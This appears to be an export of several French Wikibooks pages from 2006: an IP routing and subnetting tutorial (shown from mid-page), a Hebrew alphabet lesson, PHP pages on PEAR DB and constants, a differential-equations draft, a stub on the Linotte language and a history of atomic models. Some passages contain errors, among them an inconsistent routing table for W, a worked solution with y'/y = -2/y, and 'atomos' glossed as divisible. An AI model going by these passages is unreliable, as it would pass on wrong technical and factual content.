255.255.255.0, la remise est indirecte et X’ doit envoyer ce datagramme au routeur 200.50.60.3 grâce à son interface 200.50.60.2. *'''Table de routage de R ''' <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.3 200.50.60.3 200.50.61.0 255.255.255.0 200.50.61.3 200.50.61.3 </pre> **Pour la première ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, R peut remettre directement ce datagramme au destinataire grâce à son interface 200.50.60.3 **Pour la deuxième ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, R peut remettre directement ce datagramme au destinataire grâce à son interface 200.50.61.3. *'''Table de routage de Y''' <pre> Adresse réseau Masque Passerelle Interface 200.50.61.0 255.255.255.0 200.50.61.1 200.50.61.1 200.50.60.0 255.255.255.0 200.50.61.3 200.50.61.1 </pre> **Pour la première ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.61.0 de masque 255.255.255.0, Y peut remette directement ce datagramme au destinataire grâce à son interface 200.50.61.1 **Pour la deuxième ligne, la passerelle est différente de l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, la remise est indirecte est Y doit envoyer ce datagramme au routeur 200.50.61.3 grâce à son interface 200.50.61.1. *'''Table de routage de Y' ''' <pre> Adresse réseau Masque Passerelle Interface 200.50.61.0 255.255.255.0 200.50.61.2 200.50.61.2 200.50.60.0 255.255.255.0 200.50.61.3 200.50.61.2 </pre> **Pour la première ligne, la passerelle est égale à l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.61.0 de masque 255.255.255.0, Y' peut remette directement ce datagramme au destinataire grâce à son interface 200.50.61.2. **Pour la deuxième ligne, la passerelle est différente de l’interface : cela signifie que pour envoyer un datagramme à une machine du réseau 200.50.60.0 de masque 255.255.255.0, la remise est indirecte est b doit envoyer ce datagramme au routeur 200.50.61.3 grâce à son interface 200.50.61.2. *'''X envoie un datagramme à X' ''' **X regarde sa table de routage et cherche comment envoyer un datagramme à X’. **X’ a comme adresse IP 200.50.60.2 : cette adresse appartient au réseau 200.50.60.0 de masque 255.255.255.0. **la table de routage de X indique que X peut envoyer un datagramme directement à X’ grâce à son interface 200.50.60.1. *'''X envoie un datagramme à Y ''' **X regarde sa table de routage : Y (d’adresse IP 200.50.61.1) appartient au réseau 200.50.61.0 de masque 255.255.255.0. **X envoie ce datagramme à l’adresse IP 200.50.60.3 grâce à son interface 200.50.60.1. **R reçoit ce datagramme. **R regarde le destinataire du datagramme : 200.50.61.1. **R regarde sa table de routage : 200.50.61.1 appartient au réseau 200.50.61.0 de masque 255.255.255.0. **R envoie donc ce datagramme directement sur son interface 200.50.61.3. **Y reçoit le datagramme et s’aperçoit qu’il est pour lui ===Route par défaut=== On aurait pu écrire ainsi la table de routage de X : <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.1 200.50.60.1 0.0.0.0 0.0.0.0 200.50.60.3 200.50.60.1 </pre> *Si X doit envoyer un datagramme IP à une machine du réseau 200.50.60.0, X doit envoyer directement ce datagramme sur son interface 200.50.60.1. *Pour toutes les autres adresses IP (c'est la signification de 0.0.0.0 0.0.0.0), X envoie ce datagramme à l’adresse IP 200.50.60.3 *L’adresse IP 200.50.60.3 s’appelle la passerelle par défaut de X === Deuxième exemple === [[Image:Réseaux_IP_3.gif |400px|left|''Un exemple de 4 réseaux IP connectés par deux routeurs'']] <br/> <br/> *'''Adressage IP des réseaux''' **Le réseau A va utiliser les adresses IP 200.50.60.0 de masque 255.255.255.0 <br/> **Le réseau B va utiliser les adresses IP 200.50.61.0 de masque 255.255.255.0 <br/> **Le réseau C va utiliser les adresses IP 200.50.62.0 de masque 255.255.255.0 <br/> **Le réseau D va utiliser les adresses IP 200.50.63.0 de masque 255.255.255.0 <br/> *'''Adresses des machines''' **X possède une interface eth0 d’adresse IP 200.50.60.1 **Y possède une interface eth0 d’adresse IP 200.50.61.1 **Z possède une interface eth0 d’adresse IP 200.50.62.1 **W possède une interface eth0 d’adresse IP 200.50.63.1 *'''Adresses IP des routeurs ''' **R1 possède 3 interfaces : eth0 d’adresse IP 200.50.60.2, eth1 d’adresse IP 200.50.61.2 et ppp0 d’adresse IP 200.50.64.1. **R2 possède 3 interfaces : eth0 d’adresse IP 200.50.62.2, eth1 d’adresse IP 200.50.63.2 et ppp0 d’adresse IP 200.50.64.2. *'''Table de routage de X''' <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.1 200.50.60.1 0.0.0.0 0.0.0.0 200.50.60.2 200.50.60.1 </pre> *'''Table de routage de Y''' <pre> Adresse réseau Masque Passerelle Interface 200.50.61.0 255.255.255.0 200.50.61.1 200.50.61.1 0.0.0.0 0.0.0.0 200.50.61.2 200.50.61.1 </pre> *'''Table de routage de Z''' <pre> Adresse réseau Masque Passerelle Interface 200.50.62.0 255.255.255.0 200.50.62.1 200.50.62.1 0.0.0.0 0.0.0.0 200.50.62.2 200.50.62.1 </pre> *'''Table de routage de W''' <pre> Adresse réseau Masque Passerelle Interface 200.50.63.0 255.255.255.0 200.50.60.1 200.50.60.1 0.0.0.0 0.0.0.0 200.50.60.2 200.50.60.1 </pre> *'''Table de routage de R1''' <pre> Adresse réseau Masque Passerelle Interface 200.50.60.0 255.255.255.0 200.50.60.2 200.50.60.2 200.50.61.0 255.255.255.0 200.50.61.2 200.50.61.2 200.50.64.2 255.255.255.255 200.50.64.1 200.50.64.1 0.0.0.0 0.0.0.0 200.50.64.2 200.50.64.1 </pre> La troisième ligne indique '''une route vers un hôte ''' : pour atteindre l’adresse IP 200.50.64.2, il suffit d’envoyer un datagramme directement sur l’interface 200.50.64.1. *'''Table de routage de R2''' <pre> Adresse réseau Masque Passerelle Interface 200.50.62.0 255.255.255.0 200.50.62.2 200.50.62.2 200.50.63.0 255.255.255.0 200.50.63.2 200.50.63.2 200.50.64.1 255.255.255.255 200.50.64.2 200.50.64.2 0.0.0.0 0.0.0.0 200.50.64.1 200.50.64.2 </pre> La troisième ligne indique une route vers un hôte : pour atteindre l’adresse IP 200.50.64.2, il suffit d’envoyer un datagramme directement sur l’interface 200.50.64.1 *'''X envoie un datagramme IP à W''' **W a comme adresse IP 200.50.63.1 : X va lire sa table de routage et envoie ce datagramme au routeur 200.50.60.2 grâce à son interface 200.50.60.1 (eth0). **R1 va recevoir ce datagramme et va lire l’adresse IP du destinataire : il consulte sa table de routage et envoie ce datagramme au routeur 200.50.64.2 grâce à son interface 200.50.64.1 (ppp0). **R2 reçoit ce datagramme, lit l’adresse IP du destinataire et consulte sa table de routage : il envoie donc le datagramme directement sur son interface 200.50.63.2 **W reçoit ce datagramme et s’aperçoit qu’il est pour lui et il le garde ! ===Un troisième exemple === [[Image:Réseaux_IP_4.gif |400px|left|''Un exemple de 4 réseaux IP connectés par deux routeurs'']] <br/> *'''Reseau de type backbone''' **Le réseau H est le backbone de notre réseau : il est connecté à différents routeurs. Chaque **routeur est lui-même connecté à différents réseaux. *'''Adressage IP et évolution''' **Il faut penser aux évolutions futures du réseau. **Il serait dommage que le rajout d’un réseau ou d’un routeur oblige l’administrateur à changer les adresses IP de toutes les machines du réseau. **Nous allons supposer que l’administrateur doit utiliser les adresses IP du réseau 180.50.0.0 de masque 255.255.0.0. *'''Découpage : premier niveau''' **Nous allons découper les réseaux en 8 parties dont 6 seront utilisables **La première partie sera appelée réseau R1 : il regroupe tous les réseaux connectés à R1 sauf le backbone . **La deuxième partie sera appelée réseau R2 : il regroupe tous les réseaux connectés à R2 sauf le backbone. **La troisième partie sera appelée réseau R3 : il regroupe tous les réseaux connectés à R3 sauf le backbone . **La quatrième partie sera appelées réseau d’administration et sera utilisée pour les autres réseaux notamment le backbone ou par exemple d’éventuels accès extérieurs via un modem. **Les cinquième et sixième parties seront éventuellement utilisées pour de futurs routeurs R4 et R5. **'''masque'''<br/>Le masque des réseaux R1, R2, R3 et du réseau d’administration comporte 16+3=19 bits à 1 suivis de 13 bits à 0 : le masque est 255.255.224.0. **'''adresses réseaux obtenues''' <br/> Le réseau R1 a comme adresse 180.50.32.0<br/> Le réseau R2 a comme adresse 180.50.64.0 <br/> Le réseau R3 a comme adresse 180.50.96.0<br/> Le réseau d’administration a comme adresse 180.50.128.0<br/> *'''Découpage : deuxième niveau''' **On redécoupe en 8 le réseau R1 : les 2 premiers sous-réseaux seront attribués à A et B. **On redécoupe en 8 le réseau R2 : les 3 premiers sous-réseaux seront attribués à C, D et E. **On redécoupe en 8 le réseau R3 : les 2 premiers sous-réseaux seront attribués à F et G. **On redécoupe en 8 le réseau d’administration : le premier sous-réseau sera attribué à H. **'''Masque'''<br/>Lorsqu’on rédécoupe chaque sous-réseau, le masque obtenu comporte 22 bits à 1 : le masque est 255.255.252.0. **'''adresses réseaux obtenues''' <br/> On redécoupe R1 : <br/> Le réseau A obtient comme adresse 180.50.36.0 <br/> Le réseau B obtient comme adresse 180.50.40.0 <br/> On redécoupe R2 :<br/> Le réseau C obtient comme adresse 180.50.68.0 <br/> Le réseau D obtient comme adresse 180.50.72.0 <br/> Le réseau E obtient comme adresse 180.50.76.0 <br/> On redécoupe R3 :<br/> Le réseau F obtient comme adresse 180.50.100.0 <br/> Le réseau G obtient comme adresse 180.50.104.0 <br/> On redécoupe le réseau d’administration :<br/> Le réseau H obtient comme adresse 180.50.132.0 <br/> *'''Attribution des adresses IP aux machines ''' X a comme adresse IP 180.50.36.2<br/> Y a comme adresse IP 180.50.76.2<br/> Z a comme adresse IP 180.50.100.2<br/> W a comme adresse IP 180.50.132.4<br/> *'''Table de routage de R1''' <pre> Adresse réseau Masque Passerelle Interface 180.50.36.0 255.255.252.0 180.50.36.1 180.50.36.1 180.50.40.0 255.255.252.0 180.50.40.1 180.50.40.1 180.50.132.0 255.255.252.0 180.50.132.1 180.50.132.1 180.50.64.0 255.255.224.0 180.50.132.2 180.50.132.1 180.50.96.0 255.255.224.0 180.50.132.3 180.50.132.1 </pre> *'''Table de routage de R2''' <pre> Adresse réseau Masque Passerelle Interface 180.50.68.0 255.255.252.0 180.50.68.1 180.50.68.1 180.50.72.0 255.255.252.0 180.50.72.1 180.50.72.1 180.50.76.0 255.255.252.0 180.50.76.1 180.50.76.1 180.50.132.0 255.255.252.0 180.50.132.2 180.50.132.2 180.50.32.0 255.255.224.0 180.50.132.1 180.50.132.2 180.50.96.0 255.255.224.0 180.50.132.3 180.50.132.2 </pre> *'''Table de routage de R3''' <pre> Adresse réseau Masque Passerelle Interface 180.50.100.0 255.255.252.0 180.50.100.1 180.50.100.1 180.50.104.0 255.255.252.0 180.50.104.1 180.50.104.1 180.50.132.0 255.255.252.0 180.50.132.3 180.50.132.3 180.50.32.0 255.255.224.0 180.50.132.1 180.50.132.3 180.50.64.0 255.255.224.0 180.50.132.2 180.50.132.3 </pre> *'''Table de routage de X''' <pre> Adresse réseau Masque Passerelle Interface 180.50.36.0 255.255.252.0 180.50.36.2 180.50.36.2 0.0.0.0 0.0.0.0 180.50.36.1 180.50.36.2 </pre> *'''Table de routage de Y''' <pre> Adresse réseau Masque Passerelle Interface 180.50.76.0 255.255.252.0 180.50.76.2 180.50.76.2 0.0.0.0 0.0.0.0 180.50.76.1 180.50.76.2 </pre> *'''Table de routage de Z''' <pre> Adresse réseau Masque Passerelle Interface 180.50.100.0 255.255.252.0 180.50.100.2 180.50.100.2 0.0.0.0 0.0.0.0 180.50.100.1 180.50.100.2 </pre> *'''Table de routage de W ''' <pre> Adresse réseau Masque Passerelle Interface 180.50.132.0 255.255.252.0 180.50.132.4 180.50.132.4 180.50.32.0 255.255.224.0 180.50.132.1 180.50.132.4 180.50.64.0 255.255.224.0 180.50.132.2 180.50.132.4 180.50.96.0 255.255.224.0 180.50.132.3 180.50.132.4 </pre> Hébreu 6781 40398 2006-04-16T18:56:38Z Greudin 1 /* שיעורים – כיתה א */ <center> <font size=12> עִבְרִית </font> </center> == Introduction == Si vous avez besoin d'aide pour mettre à jour votre ordinateur pour lire et écrire en hébreu, suivez les instructions [http://zsigri.tripod.com/fontboard/heblpk.html ici] Voir Wikipedia pour plus d'informations sur :<br /> *[[w:hébreu|Une autre vue sur la langue hébraïque]] *[[Wikipedia:en:Common_phrases_in_different_languages#Hebrew_.28Semitic.29|Common phrases in Hebrew]] *[[w:Israël|Israël]] == L'alphabet hébreu(<i>alephbet</i>)== :[[Hébreu_Alephbet|Alephbet]] == שיעורים – כיתה א == :[[Hébreu_Pronoms_Personnel|Leçon 1]] - Pronoms, Introductions, Question words :[[Hébreu_Intro_aux_Verbes|Leçon 2]] - Introduction aux verbes Hébreu :[[Hébreu_Depuis_et_Vers|Leçon 3]] - Places :[[Hébreu_Noms|Leçon 4]] - Noms :[[Hébreu/Phrases/Combien|Combien ça coûte ?]] :[[Hébreu/Famille|Famille]] :[[Hébreu/Vocabulaire divers|Vocabulaire divers]] :[[Hébreu/Langage|Langage]] [[Hébreu/Conseils pour participer|]] au wikilivre sur l'hébreu [[Catégorie:Langue|Hébreu]] [[de:Hebräisch]] [[it:Corso di ebraico]] [[en:Hebrew]] Hébreu Alephbet 6782 40372 2006-04-16T10:08:06Z Jonathaneo 457 /* Introduction */ [[Hébreu]] '''EN COURS DE TRADUCTION''' ==Introduction== L'alphabet hébreu est composé de 22 lettres utilisés pour écrire l'hébreu. L'hébreu se lit de droite à gauche à l'inverse des langues latines. Il s'agît d'une langue très phonétique, il s'agît, la prononciation des mots est clairement définit par la façon dont ils sont prononcés. Le mot hébreu pour "alphabet" est &#1488;&#1500;&#1507;-&#1489;&#1497;&#1514; (''alef-bet''), named after the first two letters of the Hebrew alphabet. L'hébreu a deux systèmes de prononciation différents. La version '''Ashkenazi''' vient de l'europe de l'est. La version '''Sephardic''' vient quand à elle d'Espagne. La prononciation donnée ici est celle de l'hébreu moderne que l'on rencontre en Israel, qui est basé sur l'hébreu Sephardic. == Consonnes == Ici, chaque consonne est montrée dans sa propre boîte. Chaque ligne contient le nom de la lettre en Anglais, la lettre actuel, et la transliteration utilisé è travers le livre. Aleph <font size=6>א</font> none One of two silent letters. Usually appears at the start of a syllable to make the syllable start with a vowel sound. Betּ <font size=6>בּ</font> b <BR> Vet <font size=6>ב</font> v Bet sounds just like the English letter B. Vet sounds just like the English letter V. Gimel <font size=6>ג</font> g Le son ets proche d'un g comme grive Dalet <font size=6>ד</font> d Le même son d que dalle. Hey <font size=6>ה</font> h Hey sounds like the English letter H when its in the beginning or middle of a word. At the end of a word, it is silent. Vav <font size=6>ו</font> v Sounds like v as in vacuum. Vav is also used to make a couple of vowel sounds. Zayin <font size=6>ז</font> z Sounds like z as in zoo Het <font size=6>ח</font> kh This is a sound that English doesn't have. It sounds the ch in the German name Bach or in the Scottish word loch. It is the throat clearing guttural sound. Tet <font size=6>ט</font> t Sounds like t as in tetris Yod <font size=6>י</font> y Sounds like y as in yard. It can also change the sound of the vowel that precedes it. Kaf <font size=6>כּ</font> k <BR> Kaf final <font size=6>ךּ</font> k <BR> Khaf <font size=6>כ</font> kh <BR> Khaf final <font size=6>ך</font> kh <BR> Kaf sounds like k as in kitten Khaf sounds just like Het (guttural) Lamed <font size=6>ל</font> L Sounds like l as in lamb Mem <font size=6>מ</font> m <BR> Mem final <font size=6>ם</font> m <BR> Sounds like m as in mother Nun <font size=6>נ</font> n <BR> Nun final <font size=6>ן</font> n <BR> Sounds like n as in nookie Samech <font size=6>ס</font> s Sounds like s as in safe Ayin <font size=6>ע</font> none Another silent letter, often pronounced with a gutteral stop. Pe <font size=6>פּ</font> p<BR> Pe final <font size=6>ףּ</font> p<BR> Fe <font size=6>פ</font> f<BR> Fe final <font size=6>ף</font> f<BR> Pe sounds like p as in port Fe sounds like f as in fame Tsadi <font size=6>צ</font> tz<BR> Tsadi final <font size=6>ץ</font> tz<BR> Sounds like the zz in pizza. Qof <font size=6>ק</font> k Sounds like Kaf, but some say it is pronounced more like q. Resh <font size=6>ר</font> r Sounds like the letter R, but is not pronounced exactly the same as in English. At the beginning or in the middle of a word it is slightly rolled so that its sound is somewhere between the english "R" and the Spanish rolled "R". The tongue bounces off the roof of the mouth just once. Shin <font size=6>שׁ</font> or <font size=6>ש</font> sh<BR> Sin <font size=6>שׂ</font> s<BR> Shin sounds like sh as in ship Sin sounds like s as in soon Tav <font size=6>ת</font> t Le même son t que tomate == Voyelles == Quelques voyelles prennent la forme Khataf quand elles apparaissent sous certaines lettres (comme Ayin). Les voyelles sont montrées avec une consonnes Patach <font size=6> בַּ</font> a Khataf Patach <font size=6> עֲ</font> a the same as the short a as in father Kamatz <font size=6> בָּ</font> a Khataf Kamtaz <font size=6> עֳ</font> a le son et celui like the short a as in father. Often it is more in between a and o. Something <font size=6>בַּי</font> ai le son et celui like the long i as in bind Segol <font size=6> בֶּ</font> e Khataf Segol <font size=6> אֱ</font> e sounds like the short e as in bed Tsere <font size=6> בֵּ</font> e sounds like the short e as in bed Tsere Malei <font size=6>בֵּי</font> ei sounds like the ei as in reign Shva <font size=6> לְ</font> ' When used as the vowel sound of a syllable, it is a very very short e as in bed or i as in big. A la fin de la syllabe il y a un silence. Cholam <font size=6>בּוֹ</font> o Cholam Khaser <font size=6>בֹּ</font> o le son et celui the long o as in stone Chirik Malei <font size=6>בִּי</font> i le son et celui du i court comme dans machine Kubbutz <font size=6>בֻּ</font> u le son et celui oo as in boo Shuruk <font size=6>בּוּ</font> u le son et celui oo as in boo ==Exercises== Prononcer chaque ligne à haute voix. <font size=6>אֳ אֲ אֳ אֲ בָּ בָ בַ בַּ בָ בָּ אֲבּ אֲב אֳב אֲבָּא &larr; </font> <font size=6>גָ גַ גֶ גָ גֶ אֲג אֱג אֱבּ בֶּג גְאֲב גָבְּגָ &larr; </font> Programmation PHP/La librairie PEAR DB 6784 43629 2006-05-31T14:38:40Z 82.229.149.174 /* Récupérer des informations */ {{Programmation PHP}} == Qu'est-ce que PEAR ? == PEAR, acronyme de PHP Extension and Application Repository, est un groupe de développeurs qui proposent des extensions PHP en garantissant un code de grande qualité. La liste complete des extensions est téléchargeable gratuitement sur leur [http://pear.php.net/ site officiel]. L'extension PEAR DB fournit une gamme de fonctions de gestion de base de données permettant d'utiliser le même code quel que soit la base de données. Cela permet, si vous décidez de changer de BDD de ne pas être obligé de modifier de nouveau tous vos scripts. Un simple changement de variable vous permettra de passer de MySQL à Oracle par exemple. Il est conseillé d'avoir lu le dossier sur la Programmation orientée objet pour mieux comprendre le fonctionnenement de cette librairie. == Installation de la librairie == Si vous avez installé PHP, le gestionnaire des distributions de PEAR a été inclus automatiquement. Pour l'installer, téléchargez le gestionnaire [http://go-pear.org sur go-pear] et le script. Une fois le message d'accueil affiché, vous allez pouvoir installer les paquetages. Pour afficher la liste des extensions, entrez le code suivant dans l'invite de commande: <code> pear list-all </code> Il vous suffit pour installer le paquetage DB d'entrer les lignes suivantes: <code> pear install DB </code> == Connexion à la base == Se connecter à une base de données revet la syntaxe suivante: <pre> require_once('DB.php'); // Indispensable $dbType = "mysql"; $host = "127.0.0.1"; $account = "myAccount"; $pass = "****"; $dbName = "tests"; $dsn = "$dbType://$account:$pass@$host/$dbName"; $db = DB::connect($dsn); if (PEAR::isError($db)) { echo "Erreur: ".$db->getMessage(); } </pre> Il est également possible de remplacer la chaîne de caractères par un tableau contenant vos informations: <pre> $dsn = array( 'phptype' => 'mysql', 'username' => 'myAccount', 'password' => '****', 'hostspec' => '127.0.0.1', 'database' => 'tests', ); </pre> Vous êtes donc connectés à votre base de données. Il s'agit maintenant d'effectuer des opérations avec celle-ci. == Fermeture de la connexion == Il est important de fermer votre connexion une fois vos opérations terminées pour augmenter la sécurité de votre code, réduisant les risques d'atteinte à vos données par un individu mal intentionné. Voici donc le code détruisant la connexion: <pre> $db->disconnect(); </pre> == Envoyer une requête == Une fois connecté, vous allez pouvoir envoyer des requêtes à votre BDD comme suit: <pre> $query = "SELECT * FROM table WHERE id=5"; $rsc = $db->query($query); </pre> == Récupérer des informations == Comme avec n'importe quelle base de données, vous aurez à récupérer le resultat de votre requête. Voici une fonction équivalente de mysql_fetch_array(): <pre> $query = "SELECT * FROM table WHERE id=5"; $rsc = $db->query($query); if ( DB::isError($rsc) ) die($rsc->getMessage()); while($result = $rsc->fetchRow(DB_FETCHMODE_ASSOC) ) { echo $result['id']."\n"; } </pre> Programmation PHP/Constantes 6785 40368 2006-04-16T09:36:58Z Gromitt 1388 /* Type de données */ {{Programmation PHP}} Tout comme en [[Programmation_C_debutants| C]], PHP peut utiliser des [[variables]] dont on précise la valeur une fois pour toute et qui ne pourra être modifiée juqu'à la fin de l'exécution du code. =Généralités= ==Nom== Le nom d'une constante suit les mêmes règles que celles pour les variables, mis à part que le nom d'une constante ne commence pas par $. <pre> <?php // Noms valides CONSTANTE1 CONSTANTE2 CONSTANTE_plus // Noms invalides 0CONSTANTE ?> </pre> ==Déclaration== Pour déclarer une constante, on utilise la fonction define(); (depuis [[PHP3]]) qui renvoit un booléen ''true'' en cas de réussite de déclaration et ''false'' en cas d'échec. La structure de define est ainsi : '''define'''( '''chaine_de_caractere''', '''chaîne de cractère''' ); Ici la première chaîne est du type lettre, tiret, [[underscore]], chiffre, la seconde ne comportant pas de restriction. ==Utilisation== L'utilisation est similaire à celle de la variable. <pre> <?php define("CONSTANTE", "Texte ici"); echo CONSTANTE; // affiche "Texte ici" ?> </pre> =Informations supplémentaires= ==Type de données== Une constante, si elle peut être de type booléen ou chaîne de caractère, ne peut en aucun cas être associée à un tableau. En effet une constante diffère avec la variable quand au contenant en ce qu'elle ne peut contenir des données à une dimension. <pre> <?php // Le code suivant va générer une erreur define ("CONSTANTE", array("a", "b", "c")); echo CONSTANTE; ?> </pre> ==Unicité de la déclaration== Lorsque l'on déclare une fois une variable, même si on tente de la redéfinir, sa valeur ne changera pas avant la fin de l'execution du script (c'est son but). <pre> <?php define ("CONSTANTE", "première définition"); define ("CONSTANTE", "deuxième définition"); echo CONSTANTE; // retournera toujours "première définition" ?> </pre> ==Conflit de nom== Il existe des constantes intégrées à PHP, or on ne peut prénomer une constante comme celles-ci, cela entraînerait une erreur. En général éviter ne nommer une variable telle de cette structure : '''__'''TEXTE'''__''' ==Constantes intégrées== Il en existe de deux types : *fixes en valeur *dont la valeur est dynamique ===Constantes intégrées à valeur fixe=== Sont pour l'instant utilisés : *TRUE : vrai [[booléen]] (un if est définit sur le moèle if(TRUE) : hypothèse réalisée. *FALSE : faux [[booléen]] *PHP_VERSION : version de PHP du serveur executant le script. *PHP_OS : nom du système d'exploitation du serveur executant le script. ===Constantes intégrées à valeur dynamique=== Les constantes parfois dites de "''magiques''": *__FILE__ : retourne le nom du fichier qui est actuellement exécuté par le serveur. *__LINE__ : retourne la ligne du fichier qui est actuellement exécuté par le serveur. Image:Picture009.jpg 6788 30538 2006-01-27T17:07:15Z Spirit 203 1093 Tête d'un bête Wikipédien Tête d'un bête Wikipédien Antoinel:essai/équations différentielles 6789 30591 2006-01-28T09:13:52Z Antoinel 182 /* Exercices */ __NOTOC__ {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle est une équation où l'inconnue est la fonction y(x) et où peuvent figurer les fonctions y', y'' et la variable x. |} Exemple :<br />y' + y = 0<br />y'' + 2y = 0<br />y' - 2xy = -3 == Equation différentielle du premier ordre == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle est dite du premier ordre si elle comporte la fonction inconnue ainsi que sa dérivée première. |} <br /> Exemple : y' + 2y = 0 === Equation différentielle linéaire du premier ordre === {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Touté équation différentielle du premier ordre qui peut se mettre sous la forme :<br />A(x)y' + B(x)y = C(x) (ici avec second membre) ou <br />A(x)y' + B(x)y = 0 (ici sans second membre)<br />est une équation linéaire. |} <br />Exemple : 4y' + 2y = 3x + 1<br />y' + cos(y) = 0 n'est pas une équation linéaire.<br />(voir [[w:Équation linéaire|Équation linéaire]]) === Résolution === ==== Equation sans second membre ==== xy' - y = 0 *1ère méthode :<br />xy' = y<br />y'/y = 1/x<br />ln(y) = ln|x| + k<br />y(x) = exp(ln|x| + k)<br />y(x) = Kx (avec K = K1 si x>0 ou K = -K1 si x<0) ==== Exercices ==== Résoudre xy' + 2y = 0 {{boîte déroulante|titre = Solution| contenu = * xy' + 2y = 0<br />xy' = -2y<br />y'/y = -2/y<br />ln(y(x)) = -2ln x + k<br />y(x) = exp(-2ln(x))exp(k)<br />y(x) = Kx^-2 = K/x^2 | ... }} == Equation différentielle du deuxième ordre == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle du deuxième ordre est une équation différentielle contenant y'' et éventuellement y', y et la variable x |} Exemple: xy'' - y = 0 Programmation Linotte 6790 42656 2006-05-17T14:41:22Z Cdang 1202 /* Liens externes */ classement alpha catég =Le Langage de Programmation LINOTTE= Le langage LINOTTE est un langage de programmation pour ordinateurs qui se veut au plus proche de : * la syntaxe du français, * le vocabulaire du français. ==LINOTTE est structuré== Il exploite la structure d'un livre ou plus précisément d'un récit, tel que nous le connaissons. ==LINOTTE est typé== Il exploite trois formes de type : * le texte * le nombre * le casier, qui est fg ==LINOTTE et les opérations== == Liens externes == * {{fr}} [http://openfacts.berlios.de/index-en.phtml?title=Linotte Le site officiel de LINOTTE] [[Catégorie:Informatique|Linotte]] Antoinel:essai/chimie physique 6791 31428 2006-02-04T15:30:39Z Antoinel 182 /* Expérience de Rutherford */ __NOTOC__ == Historique et les différents modèles de l'atome == Un modèle est une conception de la réalité. On peut apprécier la progression de la science par la succession de modèles de l'atome de plus en plus élaborés. Chaque modèle complète le précédent sans le renier, pais laisse des questions irrésolues, qui peuvent être abordées par le modèle suivant.Le modèle le plus approprié à une situation n'est pas forcément le plus récent. === L'atome dans l'antiquité === Le mot atome vient du grec ατομος, atomos, que l'on peut diviser. Le philosophe grec Démocrite (470-380 av JC), comme certainement beaucoup d'autres savants de son époque, se demande ce qu’il arrive lorsque l’on divise la matière en deux, puis encore en deux, encore et encore …Existe t’il un point ou la division n’est plus possible, ou ce processus est-il infini ? Pour Démocrite, comme pour Leucippe, la nature est composée dans son ensemble de deux principes : les atomes (ce qui est plein) et le vide (ou néant). L'existence des atomes peut être déduite de ce principe : « Rien ne vient du néant, et rien, après avoir été détruit, n'y retourne. » Il y a ainsi toujours du plein, i.e. de l'être, et le non-être est le vide.<br /> Il en résulte un des premiers modèles de l'atome : *Les atomes sont des corpuscules solides et indivisibles, séparés par des intervalles vides, et dont la taille fait qu'ils échappent à nos sens. Décrits comme lisses ou rudes, crochus, recourbés ou ronds (ils sont infinis par leur forme, figure et grandeur), ils ne peuvent être affectés ou modifiés à cause de leur dureté. === Modèle de Dalton === *Antoine Lavoisier montre qu'au cours d'une réaction chimique la masse des produits formées et égales à la masse des réactifs consommés. *Joseph Proust (1724-1826) : lors d'une réaction, le rapport des masses des réactifs consommés pour former un produit est constant; les éléments du nouveau produit ont des proportions définies. {{boîte déroulante|titre = Dalton|align=RIGHT| contenu = c'est encore à faire}} John Dalton : le rapport des masses ne peut prendre que certaines valeurs. Quand deux espèces chimiques, c'est toujours dans des proportions entières. Ainsi CO et CO2. Cependant ce modèle n'explique pas pourquoi l'on ne recontre pas les molécules C2O ou CO3. * Modèle proposé par Dalton : **Les atomes sont des particules simples, indestructibles. Il en existent plusieurs, avec une masse qui leur est propre et correspond à un élément chimique. **Ces atomes peuvent s'associer en molécules et constituer la matière. Les formules donnent les constituants de chaque molcules. Exemple : H<sub>2</sub>O, deux atomes d'hydrogène, un atomes d'oxygène. ** Le modèle donne les premières indications concernant les réactions chimiques, donnent les proportions des réactifs et produits. Ex: HCl + NaOH (flèche) NaCl + H2O === Découverte des électrons === Suite à des expériences de mesures de conductivité électriques de gaz sous des très faibles pressions, Thompson découvre l'électron en 1897. Le physicien américain Robert Millikan détermine la charge d'un électron après avoir réaliser des experiences avec des gouttes d'huile. Les deux plaques avec une différence de potentiel élevée produise un champ électrique uniforme. Une goutte d'huile chargé négativement tombe par un trou, entre les deux plaques. Par la régulation du champ électrique la goutte monte ou descend. Grâce à un microscope un observateur peut calculer la vitesse de la goutte. <br />[[Image:Expérience de Millikan.jpg]] <br />La charge de l'électron est la plus petite charge existante, souvent reprise comme unité (e). === Expérience de Rutherford === <table> <tr><td>L'expérience consiste à bombarder une feuille d'or très mince avec des particules alpha positive (noyau d'hélium, émis suite à une désintégration nucléaire). Certaines particules ont fortement dévié de leur trajectoire initiale. Une particule sur dix milles rebondit sur la feuille d'or. La majorité ont cependant suivi un chemin rectiligne. La matière est donc principalement composée de vide et les particules déviées ont rencontré un noyau d'or très petit et chargé positivement qui les a repoussées.</td><td>[[Image:Expérience de rutherford.jpg|400px]]</td></tr></table> * Chadwick découvre le neutron en 1932. Les neutrons constituent le noyau avec les protons, ne portent pas de charge électrique et ont une masse voisine de celle des protons. <table cellspacing="0" cellpadding="2px" style="border:solid 1px black; background:white; padding:1em;"> <tr bgcolor="#B2C6FF"><td width=100><center>Particule</center></td><td width=200><center>Charge</center></td><td><center>Masse</center></td></tr> <tr><td bgcolor="#B2C6FF"><center>Proton</center></td><td 